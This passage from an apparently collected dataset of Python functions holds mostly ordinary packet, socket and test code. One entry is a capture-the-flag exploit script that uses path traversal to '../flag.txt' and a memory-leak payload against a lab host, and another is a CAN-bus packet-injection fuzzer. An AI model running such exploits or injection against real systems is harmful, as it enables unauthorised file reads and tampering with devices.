dscp)\\n else:\\n check_ipv6(pkt_recv, dscp)\\n\\n sys.exit(0)\",\n \"def upload_sample(host, port, path, read_type='protobuf'):\\n with Connection.connect(host, port) as conn:\\n zipped = (path.endswith(\\\".gz\\\"))\\n r = Reader(path, read_type, zipped)\\n hello = r.read_hello()\\n hello_bytes = hello.SerializeToString()\\n num_snapshot = 1\\n for snap in r:\\n send_hello(conn, hello_bytes)\\n config_bytes = get_config(conn)\\n config = Config.deserialize(config_bytes)\\n filter_snapshot(snap, config)\\n send_snapshot(conn, snap.SerializeToString())\\n num_snapshot += 1\",\n \"def offline_pcap_input_to_file(pcap=None, bfile=None, quick=False):\\n\\n tdm_cnt = 0\\n\\n print(\\\"Offline mode: Reading TDMs from PCAP/PCAPNG file and writing to file.\\\")\\n pkt_list = rdpcap(pcap) # read the PCAP/PCAPNG file and return a list of packets\\n\\n # Parse the Packet List for TmNS Data Messages (TDMs), and write them to the binary TDM file\\n f = open(bfile, 'w+b')\\n\\n delta_from_current_time = time.time() - pkt_list[0].time\\n\\n for pkt in pkt_list:\\n if pkt[UDP].dport == TDM_PORT:\\n if quick is False:\\n while (pkt.time + delta_from_current_time) > time.time():\\n sleep(0.0001)\\n f.write(bytes(pkt[UDP].payload))\\n tdm_cnt += 1\\n print(\\\"\\\\rTDM Count: {0}\\\".format(tdm_cnt), end=\\\" \\\")\\n f.close()\\n\\n if tdm_cnt == 0:\\n print(\\\"ZERO TmNS Data Messages found in {0}. {1} is empty.\\\".format(pcap, bfile))\\n else:\\n print(\\\"\\\\nComplete. Binary file of {0} TmNS Data Messages is stored at {1}.\\\".format(tdm_cnt, bfile))\",\n \"def main():\\n filename = None\\n\\n try:\\n opts, args = getopt.getopt(sys.argv[1:], 'f:hu', ['file=', 'help', 'unit_test'])\\n except getopt.GetoptError, err:\\n print ERROR_MESSAGE_PREFIX + str(err)\\n print_help()\\n sys.exit(1)\\n\\n for opt, value in opts:\\n if opt in ('-f', '--file'):\\n filename = value\\n elif opt in ('-h', '--help'):\\n print_help()\\n sys.exit(0)\\n elif opt in ('-u', '--unit_test'):\\n unit_test()\\n sys.exit(0)\\n\\n if not os.path.exists(filename):\\n print ERROR_MESSAGE_PREFIX + \\\"File %s does not exist\\\" % filename\\n sys.exit(1)\\n\\n scapy_tools = ScapyTools()\\n scapy_tools.send_packets_on_user_input(filename)\",\n \"def test_mixed(self):\\n self.counter = 1\\n\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 1, \\\"flags\\\": \\\"\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 2, \\\"flags\\\": \\\"\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 3, \\\"flags\\\": \\\"\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 8, \\\"flags\\\": \\\"\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 257, \\\"flags\\\": \\\"\\\"}])\\n\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 1, \\\"flags\\\": \\\"MF\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 2, \\\"flags\\\": \\\"MF\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 3, \\\"flags\\\": \\\"MF\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 8, \\\"flags\\\": \\\"MF\\\"}])\\n self.send_mixed_and_verify_capture([{\\\"count\\\": 257, \\\"flags\\\": \\\"MF\\\"}])\\n\\n self.send_mixed_and_verify_capture(\\n [{\\\"count\\\": 1, \\\"flags\\\": \\\"\\\"}, {\\\"count\\\": 1, \\\"flags\\\": \\\"MF\\\"}]\\n )\\n self.send_mixed_and_verify_capture(\\n [{\\\"count\\\": 2, \\\"flags\\\": \\\"\\\"}, {\\\"count\\\": 2, \\\"flags\\\": \\\"MF\\\"}]\\n )\\n self.send_mixed_and_verify_capture(\\n [{\\\"count\\\": 3, \\\"flags\\\": \\\"\\\"}, {\\\"count\\\": 3, \\\"flags\\\": \\\"MF\\\"}]\\n )\\n self.send_mixed_and_verify_capture(\\n [{\\\"count\\\": 8, \\\"flags\\\": \\\"\\\"}, {\\\"count\\\": 8, \\\"flags\\\": \\\"MF\\\"}]\\n )\\n self.send_mixed_and_verify_capture(\\n [{\\\"count\\\": 129, \\\"flags\\\": \\\"\\\"}, {\\\"count\\\": 129, \\\"flags\\\": \\\"MF\\\"}]\\n )\\n\\n self.send_mixed_and_verify_capture(\\n [\\n {\\\"count\\\": 1, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 1, \\\"flags\\\": \\\"MF\\\"},\\n {\\\"count\\\": 1, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 1, \\\"flags\\\": \\\"MF\\\"},\\n ]\\n )\\n self.send_mixed_and_verify_capture(\\n [\\n {\\\"count\\\": 2, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 2, \\\"flags\\\": \\\"MF\\\"},\\n {\\\"count\\\": 2, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 2, \\\"flags\\\": \\\"MF\\\"},\\n ]\\n )\\n self.send_mixed_and_verify_capture(\\n [\\n {\\\"count\\\": 3, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 3, \\\"flags\\\": \\\"MF\\\"},\\n {\\\"count\\\": 3, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 3, \\\"flags\\\": \\\"MF\\\"},\\n ]\\n )\\n self.send_mixed_and_verify_capture(\\n [\\n {\\\"count\\\": 8, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 8, \\\"flags\\\": \\\"MF\\\"},\\n {\\\"count\\\": 8, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 8, \\\"flags\\\": \\\"MF\\\"},\\n ]\\n )\\n self.send_mixed_and_verify_capture(\\n [\\n {\\\"count\\\": 65, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 65, \\\"flags\\\": \\\"MF\\\"},\\n {\\\"count\\\": 65, \\\"flags\\\": \\\"\\\"},\\n {\\\"count\\\": 65, \\\"flags\\\": \\\"MF\\\"},\\n ]\\n )\",\n \"def main():\\n\\tHOST = \\\"192.168.56.103\\\"\\n\\tPORT = 53338\\n\\tr = remote(HOST,PORT)\\n\\tfor i in xrange(1,12):\\n\\t\\t#First option lets us get a file\\n\\t\\tprint r.recvuntil(\\\"option: \\\")\\n\\t\\tr.sendline(\\\"1\\\")\\n\\t\\tprint r.recvuntil(\\\"Filename:\\\")\\n\\n\\t\\t#Get frequency analysis from flag.txt\\n\\t\\tfileName = \\\"../flag.txt\\\" #length ~ 11\\n\\t\\tprint len(fileName)\\n\\t\\tdirName = \\\"./data/\\\" #length ~ 7\\n\\t\\tprint len(dirName)\\n\\n\\t\\t#Null bytes can be removed by using up all the memory for name\\n\\t\\tf = \\\"/\\\"*(255-7-11)+fileName\\n\\t\\tprint len(f)\\n\\t\\tr.sendline(f)\\t\\n\\t\\tprint r.recvuntil(\\\"option: \\\")\\n\\n\\t\\t#Now exploit the fact they haven't cleaned up the memory\\n\\t\\tpayload = \\\"\\\\x01\\\"*(4095-i)\\n\\t\\tpayload += \\\"\\\\n\\\"*i\\n\\t\\tr.sendline(\\\"2\\\")\\n\\n\\t\\t#Grab analysis of 1 byte difference between corrupted memory and flag.txt\\n\\t\\tprint r.recvuntil(\\\"data:\\\")\\n\\t\\tr.sendline(payload)\\n\\t\\tbuf = r.recvuntil(\\\"option:\\\")\\n\\t\\tprint buf\\n\\t\\t\\n\\t\\t#Write freq analysis difference to temporary file\\n\\t\\tfilename = \\\"temp\\\"+str(i)\\n\\t\\tfp = open(filename,\\\"wb\\\")\\n\\t\\tfp.write(buf)\\n\\n\\t\\t#Now diff temp<i> temp><i+1>\\n\\t\\t#Except for temp0\\n\\tpass\",\n \"def accumulate_packets():\\n l = []\\n packets = sniff(count=NUMBER_OF_SNIFFING_ROUNDS, lfilter=fltr, prn=printing)\\n print(\\\"Processing packets!\\\")\\n for packet in packets:\\n l.append({\\\"ip\\\": get_ip(packet),\\n \\\"country\\\": get_country(packet),\\n \\\"entering\\\": is_entering(packet),\\n \\\"port\\\": get_partner_port(packet),\\n \\\"size\\\": packet[IP].len, #the len of the ip layer is the len of the entire packet\\n \\\"program\\\": get_program(packet)})\\n return l\",\n \"def udp_pkt_cap(port=None, cnt=125):\\n if not port:\\n udp_port = 2368\\n else:\\n udp_port = port\\n\\n # type: udp socket\\n udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n\\t\\n # Enable the SO_REUSEADDR option\\n udpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n new_state = udpSocket.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR)\\n # print(\\\"New sock state: %s\\\" % new_state)\\n\\n # bind socket\\n try:\\n udpSocket.bind((\\\"\\\", udp_port))\\n udpSocket.settimeout(0.06)\\n except socket.error as err_msg:\\n print(\\\"Udp socket message:%s\\\" % err_msg)\\n return\\n\\n udp_buf = 1304\\n pkt_cnt = cnt\\n messages = []\\n while True:\\n dat, add = udpSocket.recvfrom(udp_buf)\\n if (dat[0:2] == b'\\\\xaa\\\\xaa') or (dat[0:2] == b'\\\\xbb\\\\xbb') or (dat[0:2] == b'\\\\xcc\\\\xcc'):\\n # print(add[0], add[1], hex(ord(dat[2])) + '{:02x}'.format(ord(dat[3])) )\\n # print(add[0], add[1], '0x{:02X} 0x{:02X}'.format(dat[2], dat[3]))\\n print(\\\"Recv ok source ip and port is \\\", add)\\n messages.append(dat + b'\\\\n')\\n if pkt_cnt > 1:\\n for _ in range(pkt_cnt - 1):\\n datfrm, add = udpSocket.recvfrom(udp_buf)\\n messages.append(datfrm + b'\\\\n')\\n break\\n else:\\n break\\n\\n return messages # return string\",\n \"def test_send(self):\\n msg_flag = self.instance.send(self.ply_dict)\\n assert(msg_flag)\\n self.instance.send_eof()\\n # Read temp file\\n Tout = self.instance.start_timeout()\\n while ((not Tout.is_out) and self.file_comm.is_open):\\n self.instance.sleep()\\n self.instance.stop_timeout()\\n # Read temp file\\n assert(os.path.isfile(self.tempfile))\\n with open(self.tempfile, 'rb') as fd:\\n contents = fd.read()\\n nt.assert_equal(contents, self.ply_file_contents)\",\n \"def send_img(self, filename):\\n recv_data = b'' # bytes for data received\\n recv_pkt = Packet() # init empty packet for received data\\n read_data = b'' # byte string data read from file\\n seq_num = 0 # init sequence number\\n\\n # open file to be sent\\n print(\\\"Client: Sending image to Server\\\")\\n with open(filename, 'rb') as img:\\n read_data = img.read(self.data_size)\\n # pack\\n send_pkt = Packet(seq_num=seq_num, data=read_data)\\n packed = send_pkt.pkt_pack()\\n\\n # send data until end of file reached\\n while read_data:\\n self.client_socket.sendto(packed, self.server_addr)\\n #print(\\\"Client: Sent:\\\", send_pkt)\\n\\n # wait for ACK\\n recv_data = self.client_socket.recv(self.pkt_size)\\n recv_pkt.pkt_unpack(recv_data)\\n\\n #print(\\\"Client: Received message:\\\", recv_pkt)\\n\\n # Received NAK or incorrect ACK\\n if recv_pkt.seq_num != seq_num or recv_pkt.csum != recv_pkt.checksum(recv_pkt.seq_num, recv_pkt.data):\\n pass\\n # ACK is OK, move to next data and sequence\\n else:\\n #print(\\\"Client: got ok packet\\\")\\n seq_num ^= 1\\n read_data = img.read(self.data_size)\\n # pack\\n send_pkt = Packet(seq_num=seq_num, data=read_data)\\n packed = send_pkt.pkt_pack()\",\n \"def insert_good_data():\\n get_file_reply(files[0][0], files[0][1])\\n get_file_reply(files[1][0], files[1][1])\",\n \"def sample_handler(controller, msg, pkt):\\n pass\",\n \"def realtime_tdm_stream_to_pcap_output(p=None, mdid_list=None, pcap=None):\\n\\n if os.path.exists(p) is False:\\n os.mkfifo(p) # Create Named Pipe if it doesn't exist\\n\\n # Loop over reading the pipe, parsing out the TDMs and writing to a PCAP file when a TDM is completely read\\n tdm_cnt = 0\\n print(\\\"Named Pipe '{0}' has been opened for reading. Waiting for Pipe Writer to connect.\\\".format(p))\\n pipeout = open(p, 'rb')\\n print(\\\"Connected to Named Pipe '{0}'. Reading binary TDMs from pipe.\\\".format(p))\\n\\n try:\\n while True:\\n raw_ver_adf_flags = pipeout.read(4)\\n raw_mdid = pipeout.read(4)\\n mdid = int.from_bytes(raw_mdid, byteorder='big')\\n raw_seqno = pipeout.read(4)\\n raw_msglen = pipeout.read(4)\\n msglen = int.from_bytes(raw_msglen, byteorder='big')\\n len_remaining = msglen - 16\\n raw_rest_of_tdm = pipeout.read(len_remaining)\\n\\n raw = b\\\"\\\".join([raw_ver_adf_flags, raw_mdid, raw_seqno, raw_msglen, raw_rest_of_tdm])\\n\\n if mdid in mdid_list:\\n ip_addr = mdid_list[mdid].dst_addr\\n dport = mdid_list[mdid].dst_port\\n else:\\n ip_addr = '239.88.88.88' # Default IP address to use IF MDID is not found in the MDL file\\n dport = 50003 # Default UDP destination port to use IF MDID is not found in the MDL file\\n\\n msg_ip_hdr = IP(version=4, ihl=5, flags='DF', ttl=4, dst=ip_addr)\\n msg = msg_ip_hdr / UDP(sport=55501, dport=dport) / Raw(raw)\\n\\n wrpcap(pcap, msg, append=True)\\n\\n tdm_cnt += 1\\n print(\\\"\\\\rTDM Count: {0}. CTRL-C to quit\\\".format(tdm_cnt), end=\\\" \\\")\\n\\n except IOError as e:\\n if e.errno == errno.EPIPE:\\n print(\\\"Looks like the pipe closed. Closing the pipe and will reopen it for listening.\\\")\\n pipeout.close()\\n else:\\n print(\\\"some other IOError other than EPIPE. quitting\\\")\\n exit(-1)\\n except ValueError:\\n print(\\\"\\\\nPipe Writer has closed. Closing our Pipe Reader.\\\")\\n pipeout.close()\",\n \"def send_file(self, filename, BUFF_LENGTH):\\n out_file = open(filename,\\\"rb\\\")\\n file_bytes = out_file.read(1024) \\n while file_bytes != b'':\\n self.client.send(file_bytes)\\n file_bytes = out_file.read(1024) # read next block from file\\n self.client.send(b'')\",\n \"def test_fif4(self):\\n\\n # TODO this should be ideally in setUpClass, but then we hit a bug\\n # with VppIpRoute incorrectly reporting it's present when it's not\\n # so we need to manually remove the vpp config, thus we cannot have\\n # it shared for multiple test cases\\n self.tun_ip4 = \\\"1.1.1.2\\\"\\n\\n self.gre4 = VppGreInterface(self, self.src_if.local_ip4, self.tun_ip4)\\n self.gre4.add_vpp_config()\\n self.gre4.admin_up()\\n self.gre4.config_ip4()\\n\\n self.vapi.ip_reassembly_enable_disable(\\n sw_if_index=self.gre4.sw_if_index, enable_ip4=True\\n )\\n\\n self.route4 = VppIpRoute(\\n self,\\n self.tun_ip4,\\n 32,\\n [VppRoutePath(self.src_if.remote_ip4, self.src_if.sw_if_index)],\\n )\\n self.route4.add_vpp_config()\\n\\n self.reset_packet_infos()\\n for i in range(test_packet_count):\\n info = self.create_packet_info(self.src_if, self.dst_if)\\n payload = self.info_to_payload(info)\\n # Ethernet header here is only for size calculation, thus it\\n # doesn't matter how it's initialized. This is to ensure that\\n # reassembled packet is not > 9000 bytes, so that it's not dropped\\n p = (\\n Ether()\\n / IP(id=i, src=self.src_if.remote_ip4, dst=self.dst_if.remote_ip4)\\n / UDP(sport=1234, dport=5678)\\n / Raw(payload)\\n )\\n size = self.packet_sizes[(i // 2) % len(self.packet_sizes)]\\n self.extend_packet(p, size, self.padding)\\n info.data = p[IP] # use only IP part, without ethernet header\\n\\n fragments = [\\n x\\n for _, p in self._packet_infos.items()\\n for x in fragment_rfc791(p.data, 400)\\n ]\\n\\n encapped_fragments = [\\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\\n / IP(src=self.tun_ip4, dst=self.src_if.local_ip4)\\n / GRE()\\n / p\\n for p in fragments\\n ]\\n\\n fragmented_encapped_fragments = [\\n x for p in encapped_fragments for x in fragment_rfc791(p, 200)\\n ]\\n\\n self.src_if.add_stream(fragmented_encapped_fragments)\\n\\n self.pg_enable_capture(self.pg_interfaces)\\n self.pg_start()\\n\\n self.src_if.assert_nothing_captured()\\n packets = self.dst_if.get_capture(len(self._packet_infos))\\n self.verify_capture(packets, IP)\\n\\n # TODO remove gre vpp config by hand until VppIpRoute gets fixed\\n # so that it's query_vpp_config() works as it should\\n self.gre4.remove_vpp_config()\\n self.logger.debug(self.vapi.ppcli(\\\"show interface\\\"))\",\n \"def test_generate_and_send(mock_sr):\\n # mock send packets\\n mock_sr.return_value = fake_sr_return()\\n\\n # init generator\\n netprobify = NetProbify()\\n netprobify.instantiate_generator()\\n\\n # generate packets\\n TARGET.generate_packets(GROUP, netprobify.id_gen)\\n assert len(TARGET.packets) == 10\\n assert TARGET.packets[0].dst == \\\"127.0.0.1\\\"\\n assert TARGET.packets[0].sport == 65000\\n\\n # check number of packets\\n assert len(TARGET.packets) == 10\\n\\n # check if the sport are rotated in the range\\n n = 0\\n for pkt in TARGET.packets:\\n port = n % 2 + 65000\\n n += 1\\n assert pkt[UDP].sport == port\\n assert pkt.id == n\\n\\n # subnet test\\n UDPunreachable(\\n \\\"localhost\\\",\\n active=True,\\n description=\\\"localhost\\\",\\n destination=\\\"127.0.0.0/30\\\",\\n config_destination=\\\"127.0.0.0/30\\\",\\n address_family=\\\"ipv4\\\",\\n dont_fragment=True,\\n is_subnet=True,\\n nb_packets=1,\\n interval=0,\\n timeout=1,\\n dst_port=0,\\n ip_payload_size=0,\\n threshold=1,\\n state=\\\"in production\\\",\\n alert_level=\\\"paging\\\",\\n is_dynamic=False,\\n dns_update_interval=0,\\n groups={\\\"test\\\"},\\n lifetime={\\\"days\\\": \\\"1\\\"},\\n creation_date=None,\\n )\\n\\n TARGET.generate_packets(GROUP, netprobify.id_gen)\\n ip_addresses = [\\\"127.0.0.0\\\", \\\"127.0.0.1\\\", \\\"127.0.0.2\\\", \\\"127.0.0.3\\\"]\\n for pkt in TARGET.packets:\\n n += 1\\n assert pkt.dst in ip_addresses\\n assert pkt.id == n\\n\\n # fake packets sending\\n result = []\\n TARGET.send_packets(result, \\\"WARNING\\\", GROUP)\\n\\n assert result == [\\n {\\n 65000: {\\\"sent\\\": 1, \\\"loss\\\": 1, \\\"timestamp_ooo\\\": 0, \\\"latency\\\": []},\\n 65001: {\\\"sent\\\": 1, \\\"loss\\\": 0, \\\"timestamp_ooo\\\": 0, \\\"latency\\\": [0.1]},\\n \\\"name\\\": \\\"localhost\\\",\\n \\\"probing_type\\\": \\\"UDPunreachable\\\",\\n \\\"groups\\\": {\\\"test\\\"},\\n \\\"destination\\\": \\\"127.0.0.1\\\",\\n \\\"address_family\\\": \\\"ipv4\\\",\\n \\\"state\\\": \\\"in production\\\",\\n \\\"alert_level\\\": \\\"paging\\\",\\n \\\"ip_payload_size\\\": 8,\\n \\\"port_mismatch\\\": 0,\\n }\\n ]\",\n \"def create_standard_packets_list(\\n additional_packet: Union[None, str] = None) -> List[bytes]:\\n packets_list = [\\n unhexlify(DUMMY_LOGIN_RESPONSE.encode(ENCODING_CODEC)),\\n unhexlify(DUMMY_GET_STATE_RESPONSE.encode(ENCODING_CODEC))]\\n if additional_packet:\\n packets_list.append(\\n unhexlify(additional_packet.encode(ENCODING_CODEC)))\\n return packets_list\",\n \"def generationFuzzer(self,freq, standardIDs, dbLimits, period, writesPerFuzz, Fuzzes):\\n #print \\\"Fuzzing on standard ID: %d\\\" %standardId\\n self.client.serInit()\\n self.spitSetup(freq)\\n packet = [0,0,0x00,0x00,0x08,0,0,0,0,0,0,0,0] #empty packet template\\n \\n\\n #get folder information (based on today's date)\\n now = datetime.datetime.now()\\n datestr = now.strftime(\\\"%Y%m%d\\\")\\n path = self.DATA_LOCATION+\\\"InjectedData/\\\"+datestr+\\\"_GenerationFuzzedPackets.csv\\\"\\n filename = path\\n outfile = open(filename,'a');\\n dataWriter = csv.writer(outfile,delimiter=',');\\n #dataWriter.writerow(['# Time Error Bytes 1-13']);\\n #dataWriter.writerow(['#' + description])\\n \\n numIds = len(standardIDs)\\n fuzzNumber = 0; #: counts the number of packets we have generated\\n while( fuzzNumber < Fuzzes):\\n id_new = standardIDs[random.randint(0,numIds-1)]\\n print id_new\\n #### split SID into different regs\\n SIDhigh = (id_new >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0\\n SIDlow = (id_new & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5\\n packet[0] = SIDhigh\\n packet[1] = SIDlow\\n \\n #generate a fuzzed packet\\n for i in range(0,8): # for each data byte, fuzz it\\n idx = \\\"db%d\\\"%i\\n limits = dbLimits[idx]\\n value = random.randint(limits[0],limits[1]) #generate pseudo-random integer value\\n packet[i+5] = value\\n print packet\\n #put a rough time stamp on the data and get all the data bytes \\n row = [tT.time(), id_new,8] # could make this 8 a variable \\n msg = \\\"Injecting: \\\"\\n for i in range(5,13):\\n row.append(packet[i])\\n msg += \\\" %d\\\"%packet[i]\\n #print msg\\n dataWriter.writerow(row)\\n self.client.txpacket(packet)\\n tT.sleep(period/1000)\\n \\n #inject the packet the given number of times. \\n for i in range(1,writesPerFuzz):\\n self.client.MCPrts(TXB0=True)\\n tT.sleep(period/1000)\\n fuzzNumber += 1\\n print \\\"Fuzzing Complete\\\" \\n SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0\\n SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5\\n packet = [SIDhigh, SIDlow, 0, 0, 8, 65, 255, 32, 120, 0, 0, 1, 247]\\n self.client.txpacket(packet)\\n for i in range(0,100):\\n self.client.MCPrts(TXB0=True)\\n tT.sleep(.01)\\n outfile.close()\",\n \"def test_send_second_file():\\n\\n # Generate the blocks for the test file which is not present on the server\\n test_file = os.path.join(os.path.dirname(__file__),\\n \\\"../test_files/debashis-rc-biswas-3U4gGsGNsMY-unsplash.jpg\\\")\\n # Ask the server for the hash of the last block\\n response = client.get(\\\"/latest_block_hash\\\")\\n last_block_hash = response.json()[\\\"last_block_hash\\\"]\\n blocks = generate_blocks(test_file, last_block_hash)\\n # Collect all blocks into a single binary file using pickle\\n blocks_pickled = pickle.dumps(blocks)\\n # Send the collected blocks in a single transfer to the test server\\n response = client.post(\\\"/send\\\",\\n files={\\\"file\\\": blocks_pickled})\\n assert response.ok\\n assert response.json() \\\\\\n == {\\\"success\\\": True,\\n \\\"new_file\\\": True,\\n \\\"hash\\\": \\\"415d4f66e1b8b9083014dcdca5ddd7d1dcca3f5a4a120603169b951b1c5fa0c9\\\",\\n \\\"index_all\\\": 1704}\",\n \"def packetReceived(self, packet):\\n for layer in packet:\\n if (layer.layer_name == 'fmtp' and\\n int(layer.type) == 1):\\n # Data is stored as a hexadecimal string in the XML file\\n # generated by tshark\\n data = binascii.unhexlify(layer.data)\\n log.msg(\\\"FMTP message received: {}\\\".format(data))\",\n \"def _parse(self):\\n \\n # HUA determine the host ip address\\n # read 20 packages and set the most frequent one\\n ips_dict = {}\\n count = 0\\n for raw_packet in self.raw_packets:\\n if count > 100: break\\n ethernet = Ethernet(raw_packet[0:14])\\n if(ethernet.type != 'IP'):\\n continue\\n ip = Ip(raw_packet[14:])\\n if(ip.protocol != 'TCP') :\\n continue\\n if(ip.src not in ips_dict):\\n ips_dict[ip.src] = 0\\n ips_dict[ip.src] += 1\\n if(ip.dst not in ips_dict):\\n ips_dict[ip.dst] = 0\\n ips_dict[ip.dst] += 1\\n # get the most frequent one\\n max_appear = 0\\n ip = None\\n for key, value in ips_dict.items():\\n if value > max_appear:\\n ip = key\\n max_appear = value\\n\\n global _device_ip\\n if not self.enableFilter or not _device_ip:\\n _device_ip = ip\\n\\n global _tcp_buf\\n _tcp_buf = {}\\n number = 0\\n self.begin_ts = self.packet_headers[-1]['ts']\\n rcount = 0\\n for raw_packet in self.raw_packets:\\n pcap_packet = Pcap_packet()\\n pcap_packet.pcap_num = rcount#number # add one to be consistent with wireshark\\n pcap_packet.top_layer = 1\\n pcap_packet.ethernet = Ethernet(raw_packet[0:14])\\n \\n #skip the packet that is not ip packet\\n \\n rcount += 1\\n\\n if (pcap_packet.ethernet.type != 'IP'):\\n continue\\n\\n pcap_packet.top_layer = 2\\n pcap_packet.ip = Ip(raw_packet[14:])\\n\\n\\n\\n\\n # just collect the packets between \\n \\n if self.enableFilter and not (pcap_packet.ip.src == _device_ip and pcap_packet.ip.dst == SERVER_IP) \\\\\\n and not (pcap_packet.ip.dst == _device_ip and pcap_packet.ip.src == SERVER_IP):\\n #print \\\"Ignore ip not ok\\\"\\n continue\\n '''\\n if rcount < 10 or rcount > 2600:\\n print 'rcount %d, time %d ---: %f' % (rcount, number, self.packet_headers[rcount - 1]['ts'] - self._ts_base)\\n '''\\n \\n self.pcap_packets.append(pcap_packet)\\n \\n\\n #skip the packet that is not tcp message\\n if (pcap_packet.ip.protocol != 'TCP'):\\n continue\\n \\n\\n\\n pcap_packet.top_layer = 3\\n pcap_packet.tcp = Tcp(pcap_packet.ip, number)\\n\\n if pcap_packet.ip.src == _device_ip:\\n pcap_packet.tcp.direction = \\\"out\\\"\\n else:\\n pcap_packet.tcp.direction = \\\"in\\\"\\n\\n\\n #dispatch the tcp into tcp streams\\n self._add_pkt_into_tcp_stream(pcap_packet, number)\\n \\n #reassemble tcp packet\\n self._tcp_reassemble(pcap_packet.pcap_num, pcap_packet.ip.src, pcap_packet.ip.dst, pcap_packet.tcp)\\n number += 1\\n #endof for\\n #flush the tcp_buf, other wise it will lose some http response\\n for sockets in _tcp_buf.keys():\\n self._tcp_flush(sockets)\\n del _tcp_buf[sockets]\",\n \"def sniffer():\\n try:\\n sniff(iface=INTERFACE, prn=print_frame, filter='udp and (port bootps or bootps)', store=0)\\n except Exception as _e:\\n print(\\\"ERROR - sniffer(): {} {}\\\".format(_e.args, _e.message))\",\n \"def test_5737(self):\\n self.vapi.cli(\\\"clear errors\\\")\\n raw = b\\\"\\\"\\\"E\\\\x00\\\\x00\\\\x88,\\\\xf8\\\\x1f\\\\xfe@\\\\x01\\\\x98\\\\x00\\\\xc0\\\\xa8\\\\n-\\\\xc0\\\\xa8\\\\n\\\\\\n\\\\x01\\\\x08\\\\x00\\\\xf0J\\\\xed\\\\xcb\\\\xf1\\\\xf5Test-group: IPv4.IPv4.ipv4-message.\\\\\\nEthernet-Payload.IPv4-Packet.IPv4-Header.Fragment-Offset; Test-case: 5737\\\"\\\"\\\"\\n malformed_packet = Ether(\\n dst=self.src_if.local_mac, src=self.src_if.remote_mac\\n ) / IP(raw)\\n p = (\\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\\n / IP(id=1000, src=self.src_if.remote_ip4, dst=self.dst_if.remote_ip4)\\n / UDP(sport=1234, dport=5678)\\n / Raw(b\\\"X\\\" * 1000)\\n )\\n valid_fragments = fragment_rfc791(p, 400)\\n\\n counter = \\\"/err/ip4-full-reassembly-feature/reass_malformed_packet\\\"\\n error_counter = self.statistics.get_err_counter(counter)\\n self.pg_enable_capture()\\n self.src_if.add_stream([malformed_packet] + valid_fragments)\\n self.pg_start()\\n\\n self.dst_if.get_capture(1)\\n self.logger.debug(self.vapi.ppcli(\\\"show error\\\"))\\n self.assertEqual(self.statistics.get_err_counter(counter), error_counter + 1)\",\n \"def next_packet(filename, memorymap=True):\\n with open(filename, 'rb') as f:\\n \\n #memory map the file if necessary (prob requires 64 bit systems)\\n _file = f\\n if memorymap:\\n _file = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)\\n \\n while True:\\n packet = _file.read(TS.PACKET_SIZE)\\n if packet:\\n # first byte SHOULD be the sync byte\\n # but if it isn't find one.\\n if packet[0] != TS.SYNC_BYTE:\\n start_byte = 0\\n print packet[0]\\n for i in range(start_byte, TS.PACKET_SIZE):\\n if packet[i] == TS.SYNC_BYTE:\\n start_byte = i\\n break\\n # didn't find a new start? FAIL\\n if start_byte == 0:\\n raise Exception(\\\"failure to find sync byte in ts packet size.\\\")\\n continue\\n remainder = _file.read(TS.PACKET_SIZE - start_byte)\\n packet = packet[start_byte:] + remainder\\n yield packet\\n else:\\n break\",\n \"def main():\\n\\n print(\\\"*\\\" * 50)\\n print(\\\"[LOG] Printing command line arguments\\\\n\\\", \\\",\\\".join(sys.argv))\\n check_file_name()\\n print(\\\"*\\\" * 50)\\n\\n # This argument is required.\\n # For a server, this means the IP that the server socket\\n # will use.\\n # The IP of the server, some default values\\n # are provided. Feel free to modify them.\\n ip_address = get_arg(1, \\\"127.0.0.1\\\")\\n operation = get_arg(2, \\\"pull\\\")\\n file_name = get_arg(3, \\\"test.txt\\\")\\n port = 69\\n\\n udp_socket = setup_sockets(ip_address)\\n tftp_proc = TftpProcessor()\\n if operation is \\\"push\\\":\\n packet = tftp_proc.upload_file(file_name)\\n elif operation is \\\"pull\\\":\\n packet = tftp_proc.request_file(file_name)\\n udp_socket.sendto(packet, (ip_address, port))\\n inc_packet, server = udp_socket.recvfrom(1000)\\n reply = tftp_proc.process_udp_packet(packet)\\n if reply == 0:\\n print(\\\"Connection Established\\\")\\n else:\\n print(\\\"Error: Couldn't establish connection\\\")\\n while True:\\n # Receive an acknowledgement packet or an error packet\\n if tftp_proc.has_pending_packets_to_be_sent() != 0:\\n if operation is \\\"push\\\":\\n sen_packet = tftp_proc.get_next_output_packet()\\n elif operation is \\\"pull\\\":\\n sen_packet = tftp_proc.get_next_output_packet()\\n rec_packet, server = udp_socket.recvfrom(1000)\\n reply = tftp_proc.process_udp_packet(packet)\\n if reply == 0:\\n print(\\\"Packet\\\")\\n continue\\n\\n # Modify this as needed.\\n parse_user_input(ip_address, operation, file_name)\",\n \"def test_reading_parse_nosample(tmpdir, nosample_vcf_file):\\n # Perform record-wise copying, saving results in records\\n records = []\\n with vcfpy.Reader.from_path(nosample_vcf_file) as reader:\\n for record in 